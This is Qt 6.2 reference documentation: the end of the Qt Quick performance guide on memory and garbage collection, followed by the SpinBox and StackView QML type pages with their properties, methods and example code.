 In the previous example, the rectangles `r0` and `r1` do not have any custom properties, and thus the JavaScript and QML engines consider them both to be of the same type. That is, `r0` and `r1` are both considered to be of the explicitly defined `Rectangle` type. The rectangles `r2`, `r3` and `r4` each have custom properties and are each considered to be of different (implicit) types. Note that `r3` and `r4` are each considered to be of different types, even though they have identical property information, simply because the custom property was not declared in the component which they are instances of.

 If `r3` and `r4` were both instances of a `RectangleWithString` component, and that component definition included the declaration of a string property named `customProperty`, then `r3` and `r4` would be considered to be of the same type (that is, they would be instances of the `RectangleWithString` type, rather than defining their own implicit type).

 ### In-Depth Memory Allocation Considerations

 Whenever making decisions regarding memory allocation or performance trade-offs, it is important to keep in mind the impact of CPU-cache performance, operating system paging, and JavaScript engine garbage collection. Potential solutions should be benchmarked carefully in order to ensure that the best one is selected.

 No set of general guidelines can replace a solid understanding of the underlying principles of computer science combined with a practical knowledge of the implementation details of the platform for which the application developer is developing. Furthermore, no amount of theoretical calculation can replace a good set of benchmarks and analysis tools when making trade-off decisions.

 #### Fragmentation

 Fragmentation is a C++ development issue. If the application developer is not defining any C++ types or plugins, they may safely ignore this section.

 Over time, an application will allocate large portions of memory, write data to that memory, and subsequently free some portions of it once it has finished using some of the data. This can result in "free" memory being located in non-contiguous chunks, which cannot be returned to the operating system for other applications to use. It also has an impact on the caching and access characteristics of the application, as the "living" data may be spread across many different pages of physical memory. This in turn could force the operating system to swap, which can cause filesystem I/O - which is, comparatively speaking, an extremely slow operation.

 Fragmentation can be avoided by utilizing pool allocators (and other contiguous memory allocators), by reducing the amount of memory which is allocated at any one time by carefully managing object lifetimes, by periodically cleansing and rebuilding caches, or by utilizing a memory-managed runtime with garbage collection (such as JavaScript).

 #### Garbage Collection

 JavaScript provides garbage collection. Memory which is allocated on the JavaScript heap (as opposed to the C++ heap) is owned by the JavaScript engine. The engine will periodically collect all unreferenced data on the JavaScript heap.

 ##### Implications of Garbage Collection

 Garbage collection has advantages and disadvantages. It means that manually managing object lifetime is less important. However, it also means that a potentially long-lasting operation may be initiated by the JavaScript engine at a time which is out of the application developer's control. Unless JavaScript heap usage is considered carefully by the application developer, the frequency and duration of garbage collection may have a negative impact upon the application experience.

 ##### Manually Invoking the Garbage Collector

 An application written in QML will (most likely) require garbage collection to be performed at some stage. While garbage collection will be automatically triggered by the JavaScript engine when the amount of available free memory is low, it is occasionally better if the application developer makes decisions about when to invoke the garbage collector manually (although usually this is not the case).

 The application developer is likely to have the best understanding of when an application is going to be idle for substantial periods of time. If a QML application uses a lot of JavaScript heap memory, causing regular and disruptive garbage collection cycles during particularly performance-sensitive tasks (for example, list scrolling, animations, and so forth), the application developer may be well served to manually invoke the garbage collector during periods of zero activity. Idle periods are ideal for performing garbage collection since the user will not notice any degradation of user experience (skipped frames, jerky animations, and so on) which would result from invoking the garbage collector while activity is occurring.

 The garbage collector may be invoked manually by calling `gc()` within JavaScript. This will cause a comprehensive collection cycle to be performed, which may take from between a few hundred to more than a thousand milliseconds to complete, and so should be avoided if at all possible.

 #### Memory vs Performance Trade-offs

 In some situations, it is possible to trade-off increased memory usage for decreased processing time. For example, caching the result of a symbol lookup used in a tight loop to a temporary variable in a JavaScript expression will result in a significant performance improvement when evaluating that expression, but it involves allocating a temporary variable. In some cases, these trade-offs are sensible (such as the case above, which is almost always sensible), but in other cases it may be better to allow processing to take slightly longer in order to avoid increasing the memory pressure on the system.

 In some cases, the impact of increased memory pressure can be extreme. In some situations, trading off memory usage for an assumed performance gain can result in increased page-thrash or cache-thrash, causing a huge reduction in performance. It is always necessary to benchmark the impact of trade-offs carefully in order to determine which solution is best in a given situation.

 For in-depth information on cache performance and memory-time trade-offs, refer to the following articles:

 * Ulrich Drepper's excellent article: "What Every Programmer Should Know About Memory", at: <https://people.freebsd.org/~lstewart/articles/cpumemory.pdf>.
* Agner Fog's excellent manuals on optimizing C++ applications at: <http://www.agner.org/optimize/>.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qtquick-performance.html>

SpinBox QML Type
================

 Allows the user to select from a set of preset values. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick.Controls |
|  Since: |  Qt 5.7 |
|  Inherits: | [Control](qml-qtquick-controls2-control) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-controls2-spinbox-members.html)

 Properties
----------

 * **[displayText](qml-qtquick-controls2-spinbox#displayText-prop)** : string
* **[down](qml-qtquick-controls2-spinbox#down-prop)**
	+ **[down.hovered](qml-qtquick-controls2-spinbox#down.hovered-prop)** : bool
	+ **[down.implicitIndicatorHeight](qml-qtquick-controls2-spinbox#down.implicitIndicatorHeight-prop)** : real
	+ **[down.implicitIndicatorWidth](qml-qtquick-controls2-spinbox#down.implicitIndicatorWidth-prop)** : real
	+ **[down.indicator](qml-qtquick-controls2-spinbox#down.indicator-prop)** : Item
	+ **[down.pressed](qml-qtquick-controls2-spinbox#down.pressed-prop)** : bool
* **[editable](qml-qtquick-controls2-spinbox#editable-prop)** : bool
* **[from](qml-qtquick-controls2-spinbox#from-prop)** : int
* **[inputMethodComposing](qml-qtquick-controls2-spinbox#inputMethodComposing-prop)** : bool
* **[inputMethodHints](qml-qtquick-controls2-spinbox#inputMethodHints-prop)** : flags
* **[stepSize](qml-qtquick-controls2-spinbox#stepSize-prop)** : int
* **[textFromValue](qml-qtquick-controls2-spinbox#textFromValue-prop)** : function
* **[to](qml-qtquick-controls2-spinbox#to-prop)** : int
* **[up](qml-qtquick-controls2-spinbox#up-prop)**
	+ **[up.hovered](qml-qtquick-controls2-spinbox#up.hovered-prop)** : bool
	+ **[up.implicitIndicatorHeight](qml-qtquick-controls2-spinbox#up.implicitIndicatorHeight-prop)** : real
	+ **[up.implicitIndicatorWidth](qml-qtquick-controls2-spinbox#up.implicitIndicatorWidth-prop)** : real
	+ **[up.indicator](qml-qtquick-controls2-spinbox#up.indicator-prop)** : Item
	+ **[up.pressed](qml-qtquick-controls2-spinbox#up.pressed-prop)** : bool
* **[validator](qml-qtquick-controls2-spinbox#validator-prop)** : Validator
* **[value](qml-qtquick-controls2-spinbox#value-prop)** : int
* **[valueFromText](qml-qtquick-controls2-spinbox#valueFromText-prop)** : function
* **[wrap](qml-qtquick-controls2-spinbox#wrap-prop)** : bool

 Signals
-------

 * **[valueModified](qml-qtquick-controls2-spinbox#valueModified-signal)**()

 Methods
-------

 * void **[decrease](qml-qtquick-controls2-spinbox#decrease-method)**()
* void **[increase](qml-qtquick-controls2-spinbox#increase-method)**()

 Detailed Description
--------------------

 ![]


SpinBox allows the user to choose an integer value by clicking the up or down indicator buttons, or by pressing up or down on the keyboard. Optionally, SpinBox can be also made [editable](qml-qtquick-controls2-spinbox#editable-prop), so the user can enter a text value in the input field.

 By default, SpinBox provides discrete values in the range of `[0-99]` with a [stepSize](qml-qtquick-controls2-spinbox#stepSize-prop) of `1`.

 
```
SpinBox {
    value: 50
}
```
 ### Custom Values

 ![]


Even though SpinBox works on integer values, it can be customized to accept arbitrary input values. The following snippet demonstrates how [validator](qml-qtquick-controls2-spinbox#validator-prop), [textFromValue](qml-qtquick-controls2-spinbox#textFromValue-prop) and [valueFromText](qml-qtquick-controls2-spinbox#valueFromText-prop) can be used to customize the default behavior.

 
```
SpinBox {
    id: spinBox
    from: 0
    to: items.length - 1
    value: 1 // "Medium"

    property var items: ["Small", "Medium", "Large"]

    validator: RegularExpressionValidator {
        regularExpression: new RegExp("(Small|Medium|Large)", "i")
    }

    textFromValue: function(value) {
        return items[value];
    }

    valueFromText: function(text) {
        for (var i = 0; i < items.length; ++i) {
            if (items[i].toLowerCase().indexOf(text.toLowerCase()) === 0)
                return i
        }
        return spinBox.value
    }
}
```
 In the same manner, SpinBox can be customized to accept floating point numbers:

 ![]



```
SpinBox {
    id: spinbox
    from: 0
    value: 110
    to: 100 * 100
    stepSize: 100
    anchors.centerIn: parent

    property int decimals: 2
    property real realValue: value / 100

    validator: DoubleValidator {
        bottom: Math.min(spinbox.from, spinbox.to)
        top:  Math.max(spinbox.from, spinbox.to)
    }

    textFromValue: function(value, locale) {
        return Number(value / 100).toLocaleString(locale, 'f', spinbox.decimals)
    }

    valueFromText: function(text, locale) {
        return Number.fromLocaleString(locale, text) * 100
    }
}
```
 **See also** [Tumbler](qtquickcontrols-changes-qt6#tumbler), [Customizing SpinBox](qtquickcontrols2-customize#customizing-spinbox), and [Focus Management in Qt Quick Controls](qtquickcontrols2-focus).

 Property Documentation
----------------------

 ###  [read-only, since QtQuick.Controls 2.4 (Qt 5.11)] displayText : [string](qml-string)

 This property holds the textual value of the spinbox.

 The value of the property is based on [textFromValue](qml-qtquick-controls2-spinbox#textFromValue-prop) and [locale](qml-qtquick-controls2-control#locale-prop), and equal to:

 
```
var text = spinBox.textFromValue(spinBox.value, spinBox.locale)
```
 This property was introduced in QtQuick.Controls 2.4 (Qt 5.11).

 **See also** [textFromValue](qml-qtquick-controls2-spinbox#textFromValue-prop).

 ###  down.hovered : [bool](qml-bool)

 These properties hold the down indicator item and whether it is pressed or hovered. The `down.hovered` property was introduced in [QtQuick](https://doc.qt.io/qt-6.2/qtquick-module.html).Controls 2.1, and the `down.implicitIndicatorWidth` and `down.implicitIndicatorHeight` properties were introduced in [QtQuick](https://doc.qt.io/qt-6.2/qtquick-module.html).Controls 2.5.

 **See also** [decrease](qml-qtquick-controls2-spinbox#decrease-method)().

 ###  editable : [bool](qml-bool)

 This property holds whether the spinbox is editable. The default value is `false`.

 **See also** [validator](qml-qtquick-controls2-spinbox#validator-prop).

 ###  from : [int](qml-int)

 This property holds the starting value for the range. The default value is `0`.

 **See also** [to](qml-qtquick-controls2-spinbox#to-prop) and [value](qml-qtquick-controls2-spinbox#value-prop).

 ###  [read-only, since QtQuick.Controls 2.2 (Qt 5.9)] inputMethodComposing : [bool](qml-bool)

 This property holds whether an editable spin box has partial text input from an input method.

 While it is composing, an input method may rely on mouse or key events from the spin box to edit or commit the partial text. This property can be used to determine when to disable event handlers that may interfere with the correct operation of an input method.

 This property was introduced in QtQuick.Controls 2.2 (Qt 5.9).

 ###  [since QtQuick.Controls 2.2 (Qt 5.9)] inputMethodHints : flags

 This property provides hints to the input method about the expected content of the spin box and how it should operate.

 The default value is `Qt.ImhDigitsOnly`.

 The value is a bit-wise combination of flags or `Qt.ImhNone` if no hints are set.

 Flags that alter behavior are:

 * Qt.ImhHiddenText - Characters should be hidden, as is typically used when entering passwords.
* Qt.ImhSensitiveData - Typed text should not be stored by the active input method in any persistent storage like predictive user dictionary.
* Qt.ImhNoAutoUppercase - The input method should not try to automatically switch to upper case when a sentence ends.
* Qt.ImhPreferNumbers - Numbers are preferred (but not required).
* Qt.ImhPreferUppercase - Upper case letters are preferred (but not required).
* Qt.ImhPreferLowercase - Lower case letters are preferred (but not required).
* Qt.ImhNoPredictiveText - Do not use predictive text (i.e. dictionary lookup) while typing.
* Qt.ImhDate - The text editor functions as a date field.
* Qt.ImhTime - The text editor functions as a time field.

 Flags that restrict input (exclusive flags) are:

 * Qt.ImhDigitsOnly - Only digits are allowed.
* Qt.ImhFormattedNumbersOnly - Only number input is allowed. This includes decimal point and minus sign.
* Qt.ImhUppercaseOnly - Only upper case letter input is allowed.
* Qt.ImhLowercaseOnly - Only lower case letter input is allowed.
* Qt.ImhDialableCharactersOnly - Only characters suitable for phone dialing are allowed.
* Qt.ImhEmailCharactersOnly - Only characters suitable for email addresses are allowed.
* Qt.ImhUrlCharactersOnly - Only characters suitable for URLs are allowed.

 Masks:

 * Qt.ImhExclusiveInputMask - This mask yields nonzero if any of the exclusive flags are used.

 This property was introduced in QtQuick.Controls 2.2 (Qt 5.9).

 ###  stepSize : [int](qml-int)

 This property holds the step size. The default value is `1`.

 **See also** [increase](qml-qtquick-controls2-spinbox#increase-method)() and [decrease](qml-qtquick-controls2-spinbox#decrease-method)().

 ###  textFromValue : function

 This property holds a callback function that is called whenever an integer value needs to be converted to display text.

 The default function can be overridden to display custom text for a given value. This applies to both editable and non-editable spinboxes; for example, when using the up and down buttons or a mouse wheel to increment and decrement the value, the new value is converted to display text using this function.

 The callback function signature is `string function(value, locale)`. The function can have one or two arguments, where the first argument is the value to be converted, and the optional second argument is the locale that should be used for the conversion, if applicable.

 The default implementation does the conversion using [Number.toLocaleString](qml-qtqml-number#toLocaleString-method)():

 
```
textFromValue: function(value, locale) { return Number(value).toLocaleString(locale, 'f', 0); }
```
  **Note:** When applying a custom `textFromValue` implementation for editable spinboxes, a matching [valueFromText](qml-qtquick-controls2-spinbox#valueFromText-prop) implementation must be provided to be able to convert the custom text back to an integer value.

  **See also** [valueFromText](qml-qtquick-controls2-spinbox#valueFromText-prop), [validator](qml-qtquick-controls2-spinbox#validator-prop), and [locale](qml-qtquick-controls2-control#locale-prop).

 ###  to : [int](qml-int)

 This property holds the end value for the range. The default value is `99`.

 **See also** [from](qml-qtquick-controls2-spinbox#from-prop) and [value](qml-qtquick-controls2-spinbox#value-prop).

 ###  up.hovered : [bool](qml-bool)

 These properties hold the up indicator item and whether it is pressed or hovered. The `up.hovered` property was introduced in [QtQuick](https://doc.qt.io/qt-6.2/qtquick-module.html).Controls 2.1, and the `up.implicitIndicatorWidth` and `up.implicitIndicatorHeight` properties were introduced in [QtQuick](https://doc.qt.io/qt-6.2/qtquick-module.html).Controls 2.5.

 **See also** [increase](qml-qtquick-controls2-spinbox#increase-method)().

 ###  validator : Validator

 This property holds the input text validator for editable spinboxes. By default, [SpinBox](qml-qtquick-controls2-spinbox) uses [IntValidator](qml-qtquick-intvalidator) to accept input of integer numbers.

 
```
SpinBox {
    id: control
    validator: IntValidator {
        locale: control.locale.name
        bottom: Math.min(control.from, control.to)
        top: Math.max(control.from, control.to)
    }
}
```
 **See also** [editable](qml-qtquick-controls2-spinbox#editable-prop), [textFromValue](qml-qtquick-controls2-spinbox#textFromValue-prop), [valueFromText](qml-qtquick-controls2-spinbox#valueFromText-prop), and [locale](qml-qtquick-controls2-control#locale-prop).

 ###  value : [int](qml-int)

 This property holds the value in the range `from` - `to`. The default value is `0`.

 ###  valueFromText : function

 This property holds a callback function that is called whenever input text needs to be converted to an integer value.

 This function only needs to be overridden when [textFromValue](qml-qtquick-controls2-spinbox#textFromValue-prop) is overridden for an editable spinbox.

 The callback function signature is `int function(text, locale)`. The function can have one or two arguments, where the first argument is the text to be converted, and the optional second argument is the locale that should be used for the conversion, if applicable.

 The default implementation does the conversion using [Number.fromLocaleString()](qml-qtqml-locale):

 
```
valueFromText: function(text, locale) { return Number.fromLocaleString(locale, text); }
```
  **Note:** When applying a custom [textFromValue](qml-qtquick-controls2-spinbox#textFromValue-prop) implementation for editable spinboxes, a matching `valueFromText` implementation must be provided to be able to convert the custom text back to an integer value.

  **See also** [textFromValue](qml-qtquick-controls2-spinbox#textFromValue-prop), [validator](qml-qtquick-controls2-spinbox#validator-prop), and [locale](qml-qtquick-controls2-control#locale-prop).

 ###  [since QtQuick.Controls 2.3 (Qt 5.10)] wrap : [bool](qml-bool)

 This property holds whether the spinbox wraps. The default value is `false`.

 If wrap is `true`, stepping past [to](qml-qtquick-controls2-spinbox#to-prop) changes the value to [from](qml-qtquick-controls2-spinbox#from-prop) and vice versa.

 This property was introduced in QtQuick.Controls 2.3 (Qt 5.10).

 Signal Documentation
--------------------

 ###  `[since QtQuick.Controls 2.2 (Qt 5.9)]` valueModified()

 This signal is emitted when the spin box value has been interactively modified by the user by either touch, mouse, wheel, or keys.

 **Note:** The corresponding handler is `onValueModified`.

 This signal was introduced in QtQuick.Controls 2.2 (Qt 5.9).

 Method Documentation
--------------------

 ###  void decrease()

 Decreases the value by [stepSize](qml-qtquick-controls2-spinbox#stepSize-prop), or `1` if [stepSize](qml-qtquick-controls2-spinbox#stepSize-prop) is not defined.

 **See also** [stepSize](qml-qtquick-controls2-spinbox#stepSize-prop).

 ###  void increase()

 Increases the value by [stepSize](qml-qtquick-controls2-spinbox#stepSize-prop), or `1` if [stepSize](qml-qtquick-controls2-spinbox#stepSize-prop) is not defined.

 **See also** [stepSize](qml-qtquick-controls2-spinbox#stepSize-prop).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-controls2-spinbox.html>

StackView QML Type
==================

 Provides a stack-based navigation model. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick.Controls |
|  Since: |  Qt 5.7 |
|  Inherits: | [Control](qml-qtquick-controls2-control) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-controls2-stackview-members.html)

 Properties
----------

 * **[busy](qml-qtquick-controls2-stackview#busy-prop)** : bool
* **[currentItem](qml-qtquick-controls2-stackview#currentItem-prop)** : Item
* **[depth](qml-qtquick-controls2-stackview#depth-prop)** : int
* **[empty](qml-qtquick-controls2-stackview#empty-prop)** : bool
* **[initialItem](qml-qtquick-controls2-stackview#initialItem-prop)** : var
* **[popEnter](qml-qtquick-controls2-stackview#popEnter-prop)** : Transition
* **[popExit](qml-qtquick-controls2-stackview#popExit-prop)** : Transition
* **[pushEnter](qml-qtquick-controls2-stackview#pushEnter-prop)** : Transition
* **[pushExit](qml-qtquick-controls2-stackview#pushExit-prop)** : Transition
* **[replaceEnter](qml-qtquick-controls2-stackview#replaceEnter-prop)** : Transition
* **[replaceExit](qml-qtquick-controls2-stackview#replaceExit-prop)** : Transition

 Attached Properties
-------------------

 * **[index](qml-qtquick-controls2-stackview#index-attached-prop)** : int
* **[status](qml-qtquick-controls2-stackview#status-attached-prop)** : enumeration
* **[view](qml-qtquick-controls2-stackview#view-attached-prop)** : StackView
* **[visible](qml-qtquick-controls2-stackview#visible-attached-prop)** : bool

 Attached Signals
----------------

 * **[activated](qml-qtquick-controls2-stackview#activated-signal)**()
* **[activating](qml-qtquick-controls2-stackview#activating-signal)**()
* **[deactivated](qml-qtquick-controls2-stackview#deactivated-signal)**()
* **[deactivating](qml-qtquick-controls2-stackview#deactivating-signal)**()
* **[removed](qml-qtquick-controls2-stackview#removed-signal)**()

 Methods
-------

 * void **[clear](qml-qtquick-controls2-stackview#clear-method)**(*transition*)
* Item **[find](qml-qtquick-controls2-stackview#find-method)**(*callback*, *behavior*)
* Item **[get](qml-qtquick-controls2-stackview#get-method)**(*index*, *behavior*)
* Item **[pop](qml-qtquick-controls2-stackview#pop-method)**(*item*, *operation*)
* Item **[push](qml-qtquick-controls2-stackview#push-method)**(*item*, *properties*, *operation*)
* Item **[replace](qml-qtquick-controls2-stackview#replace-method)**(*target*, *item*, *properties*, *operation*)

 Detailed Description
--------------------

 ![]


StackView can be used with a set of inter-linked information pages. For example, an email application with separate views to list the latest emails, view a specific email, and list/view the attachments. The email list view is pushed onto the stack as users open an email, and popped out as they choose to go back.

 The following snippet demonstrates a simple use case, where the `mainView` is pushed onto and popped out of the stack on relevant button click:

 
```
ApplicationWindow {
    title: qsTr("Hello World")
    width: 640
    height: 480
    visible: true

    StackView {
        id: stack
        initialItem: mainView
        anchors.fill: parent
    }

    Component {
        id: mainView

        Row {
            spacing: 10

            Button {
                text: "Push"
                onClicked: stack.push(mainView)
            }
            Button {
                text: "Pop"
                enabled: stack.depth > 1
                onClicked: stack.pop()

            }
            Text {
                text: stack.depth
            }
        }
    }
}
```
 Using StackView in an Application
---------------------------------

 Using StackView in an application is as simple as adding it as a child to a Window. The stack is usually anchored to the edges of the window, except at the top or bottom where it might be anchored to a status bar, or some other similar UI component. The stack can then be used by invoking its navigation methods. The first item to show in the StackView is the one that was assigned to [initialItem](qml-qtquick-controls2-stackview#initialItem-prop), or the topmost item if [initialItem](qml-qtquick-controls2-stackview#initialItem-prop) is not set.

 Basic Navigation
----------------

 StackView supports three primary navigation operations: [push](qml-qtquick-controls2-stackview#push-method)(), [pop](qml-qtquick-controls2-stackview#pop-method)(), and [replace](qml-qtquick-controls2-stackview#replace-method)(). These correspond to classic stack operations where "push" adds an item to the top of a stack, "pop" removes the top item from the stack, and "replace" is like a pop followed by a push, which replaces the topmost item with the new item. The topmost item in the stack corresponds to the one that is [currently](qml-qtquick-controls2-stackview#currentItem-prop) visible on screen. Logically, "push" navigates forward or deeper into the application UI, "pop" navigates backward, and "replace" replaces the [currentItem](qml-qtquick-controls2-stackview#currentItem-prop).

 ### Pushing Items

 In the following animation, three [Label](qml-qtquick-controls2-label) controls are pushed onto a stack view with the [push](qml-qtquick-controls2-stackview#push-method)() function:


    ![]  
The stack now contains the following items: `[A, B, C]`.

  **Note:** When the stack is empty, a [push](qml-qtquick-controls2-stackview#push-method)() operation will not have a transition animation because there is nothing to transition from (typically on application start-up).

  ### Popping Items

 Continuing on from the example above, the topmost item on the stack is removed with a call to [pop](qml-qtquick-controls2-stackview#pop-method)():


    ![]  
The stack now contains the following items: `[A, B]`.

  **Note:** A [pop](qml-qtquick-controls2-stackview#pop-method)() operation on a stack with depth 1 or 0 does nothing. In such cases, the stack can be emptied using the [clear](qml-qtquick-controls2-stackview#clear-method)() method.

  #### Unwinding Items via Pop

 Sometimes, it is necessary to go back more than a single step in the stack. For example, to return to a "main" item or some kind of section item in the application. In such cases, it is possible to specify an item as a parameter for [pop](qml-qtquick-controls2-stackview#pop-method)(). This is called an "unwind" operation, where the stack unwinds till the specified item. If the item is not found, stack unwinds until it is left with one item, which becomes the [currentItem](qml-qtquick-controls2-stackview#currentItem-prop). To explicitly unwind to the bottom of the stack, it is recommended to use [pop](qml-qtquick-controls2-stackview#pop-method)(null), although any non-existent item will do.

 In the following animation, we unwind the stack to the first item by calling `pop(null)`:


    ![]  
The stack now contains a single item: `[A]`.

 ### Replacing Items

 In the following animation, we [replace](qml-qtquick-controls2-stackview#replace-method) the topmost item with `D`:


    ![]  
The stack now contains the following items: `[A, B, D]`.

 Deep Linking
------------

 *Deep linking* means launching an application into a particular state. For example, a newspaper application could be launched into showing a particular article, bypassing the topmost item. In terms of StackView, deep linking means the ability to modify the state of the stack, so much so that it is possible to push a set of items to the top of the stack, or to completely reset the stack to a given state.

 The API for deep linking in StackView is the same as for basic navigation. Pushing an array instead of a single item adds all the items in that array to the stack. The transition animation, however, is applied only for the last item in the array. The normal semantics of [push](qml-qtquick-controls2-stackview#push-method)() apply for deep linking, that is, it adds whatever is pushed onto the stack.

  **Note:** Only the last item of the array is loaded. The rest of the items are loaded only when needed, either on subsequent calls to pop or on request to get an item using [get](qml-qtquick-controls2-stackview#get-method)().

  This gives us the following result, given the stack [A, B, C]:

 * [push](qml-qtquick-controls2-stackview#push-method)([D, E, F]) => [A, B, C, D, E, F] - "push" transition animation between C and F
* [replace](qml-qtquick-controls2-stackview#replace-method)([D, E, F]) => [A, B, D, E, F] - "replace" transition animation between C and F
* [clear](qml-qtquick-controls2-stackview#clear-method)() followed by [push](qml-qtquick-controls2-stackview#push-method)([D, E, F]) => [D, E, F] - no transition animation for pushing items as the stack was empty.

 Finding Items
-------------

 An Item for which the application does not have a reference can be found by calling [find](qml-qtquick-controls2-stackview#find-method)(). The method needs a callback function, which is invoked for each item in the stack (starting at the top) until a match is found. If the callback returns `true`, [find](qml-qtquick-controls2-stackview#find-method)() stops and returns the matching item, otherwise `null` is returned.

 The code below searches the stack for an item named "order\_id" and unwinds to that item.

 
```
stackView.pop(stackView.find(function(item) {
    return item.name == "order_id";
}));
```
 You can also get to an item in the stack using [get](qml-qtquick-controls2-stackview#get-method)(index).

 
```
previousItem = stackView.get(myItem.StackView.index - 1));
```
 Transitions
-----------

 For each push or pop operation, different transition animations are applied to entering and exiting items. These animations define how the entering item should animate in, and the exiting item should animate out. The animations can be customized by assigning different [Transition](https://doc.qt.io/qt-6.2/qmlexampletoggleswitch.html#transition)s for the [pushEnter](qml-qtquick-controls2-stackview#pushEnter-prop), [pushExit](qml-qtquick-controls2-stackview#pushExit-prop), [popEnter](qml-qtquick-controls2-stackview#popEnter-prop), [popExit](qml-qtquick-controls2-stackview#popExit-prop), [replaceEnter](qml-qtquick-controls2-stackview#replaceEnter-prop), and [replaceExit](qml-qtquick-controls2-stackview#replaceExit-prop) properties of StackView.

  **Note:** The transition animations affect each others' transitional behavior. Customizing the animation for one and leaving the other may give unexpected results.

  The following snippet defines a simple fade transition for push and pop operations:

 
```
StackView {
    id: stackview
    anchors.fill: parent

    pushEnter: Transition {
        PropertyAnimation {
            property: "opacity"
            from: 0
            to:1
            duration: 200
        }
    }
    pushExit: Transition {
        PropertyAnimation {
            property: "opacity"
            from: 1
            to:0
            duration: 200
        }
    }
    popEnter: Transition {
        PropertyAnimation {
            property: "opacity"
            from: 0
            to:1
            duration: 200
        }
    }
    popExit: Transition {
        PropertyAnimation {
            property: "opacity"
            from: 1
            to:0
            duration: 200
        }
    }
}
```
  **Note:** Using anchors on the items added to a StackView is not supported. Typically push, pop, and replace transitions animate the position, which is not possible when anchors are applied. Notice that this only applies to the root of the item. Using anchors for its children works as expected.

  Item Ownership
--------------

 StackView only takes ownership of items that it creates itself. This means that any item pushed onto a StackView will never be destroyed by the StackView; only items that StackView creates from [Components](qml-qtqml-component) or [URLs](qml-url) are destroyed by the StackView. To illustrate this, the messages in the example below will only be printed when the StackView is destroyed, not when the items are popped off the stack:

 
```
Component {
    id: itemComponent

    Item {
        Component.onDestruction: print("Destroying second item")
    }
}

StackView {
    initialItem: Item {
        Component.onDestruction: print("Destroying initial item")
    }

    Component.onCompleted: push(itemComponent.createObject(window))
}
```
 However, both of the items created from the URL and Component in the following example will be destroyed by the StackView when they are popped off of it:

 
```
Component {
    id: itemComponent

    Item {
        Component.onDestruction: print("Destroying second item")
    }
}

StackView {
    initialItem: "Item1.qml"

    Component.onCompleted: push(itemComponent)
}
```
 Size
----

 StackView does not inherit an implicit size from items that are pushed onto it. This means that using it as the [contentItem](qml-qtquick-controls2-popup#contentItem-prop) of a [Dialog](qtquickcontrols-changes-qt6#dialog), for example, will not work as expected:

 
```
Dialog {
    StackView {
        initialItem: Rectangle {
            width: 200
            height: 200
            color: "salmon"
        }
    }
}
```
 There are several ways to ensure that StackView has a size in this situation:

 * Set [implicitWidth](qml-qtquick-item#implicitWidth-prop) and [implicitHeight](qml-qtquick-item#implicitHeight-prop) on the StackView itself.
* Set [implicitWidth](qml-qtquick-item#implicitWidth-prop) and [implicitHeight](qml-qtquick-item#implicitHeight-prop) on the [Rectangle](qml-qtquick-rectangle).
* Set [contentWidth](qml-qtquick-controls2-popup#contentWidth-prop) and [contentHeight](qml-qtquick-controls2-popup#contentHeight-prop) on the Dialog.
* Give the Dialog a size.

 **See also** [Customizing StackView](qtquickcontrols2-customize#customizing-stackview), [Navigation Controls](qtquickcontrols2-navigation), [Container Controls](qtquickcontrols2-containers), and [Focus Management in Qt Quick Controls](qtquickcontrols2-focus).

 Property Documentation
----------------------

 ###  [read-only] busy : [bool](qml-bool)

 This property holds whether a transition is running.

 ###  [read-only] currentItem : [Item](qml-qtquick-item)

 This property holds the current top-most item in the stack.

 ###  [read-only] depth : [int](qml-int)

 This property holds the number of items currently pushed onto the stack.

 ###  [read-only, since QtQuick.Controls 2.3 (Qt 5.10)] empty : [bool](qml-bool)

 This property holds whether the stack is empty.

 This property was introduced in QtQuick.Controls 2.3 (Qt 5.10).

 **See also** [depth](qml-qtquick-controls2-stackview#depth-prop).

 ###  initialItem : [var](qml-var)

 This property holds the initial item that should be shown when the [StackView](qml-qtquick-controls2-stackview) is created. The initial item can be an [Item](qml-qtquick-item), [Component](qml-qtqml-component), or a [url](qml-url). Specifying an initial item is equivalent to:

 
```
Component.onCompleted: stackView.push(myInitialItem)
```
 **See also** [push](qml-qtquick-controls2-stackview#push-method)().

 ###  popEnter : [Transition](qml-qtquick-transition)

 This property holds the transition that is applied to the item that enters the stack when another item is popped off of it.

 **See also** [Customizing StackView](qtquickcontrols2-customize#customizing-stackview).

 ###  popExit : [Transition](qml-qtquick-transition)

 This property holds the transition that is applied to the item that exits the stack when the item is popped off of it.

 **See also** [Customizing StackView](qtquickcontrols2-customize#customizing-stackview).

 ###  pushEnter : [Transition](qml-qtquick-transition)

 This property holds the transition that is applied to the item that enters the stack when the item is pushed onto it.

 **See also** [Customizing StackView](qtquickcontrols2-customize#customizing-stackview).

 ###  pushExit : [Transition](qml-qtquick-transition)

 This property holds the transition that is applied to the item that exits the stack when another item is pushed onto it.

 **See also** [Customizing StackView](qtquickcontrols2-customize#customizing-stackview).

 ###  replaceEnter : [Transition](qml-qtquick-transition)

 This property holds the transition that is applied to the item that enters the stack when another item is replaced by it.

 **See also** [Customizing StackView](qtquickcontrols2-customize#customizing-stackview).

 ###  replaceExit : [Transition](qml-qtquick-transition)

 This property holds the transition that is applied to the item that exits the stack when it is replaced by another item.

 **See also** [Customizing StackView](qtquickcontrols2-customize#customizing-stackview).

 Attached Property Documentation
-------------------------------

 ###  [read-only] StackView.index : [int](qml-int)

 This attached property holds the stack index of the item it's attached to, or `-1` if the item is not in a stack.

 ###  [read-only] StackView.status : [enumeration](qml-enumeration)

 This attached property holds the stack status of the item it's attached to, or `StackView.Inactive` if the item is not in a stack.

 Available values:

 

| Constant | Description |
| --- | --- |
| `StackView.Inactive` | The item is inactive (or not in a stack). |
| `StackView.Deactivating` | The item is being deactivated (popped off). |
| `StackView.Activating` | The item is being activated (becoming the current item). |
| `StackView.Active` | The item is active, that is, the current item. |

 ###  [read-only] StackView.view : [StackView](qml-qtquick-controls2-stackview)

 This attached property holds the stack view of the item it's attached to, or `null` if the item is not in a stack.

 ###  [since QtQuick.Controls 2.2 (Qt 5.9)] StackView.visible : [bool](qml-bool)

 This attached property holds the visibility of the item it's attached to. The value follows the value of [Item::visible](qml-qtquick-item#visible-prop).

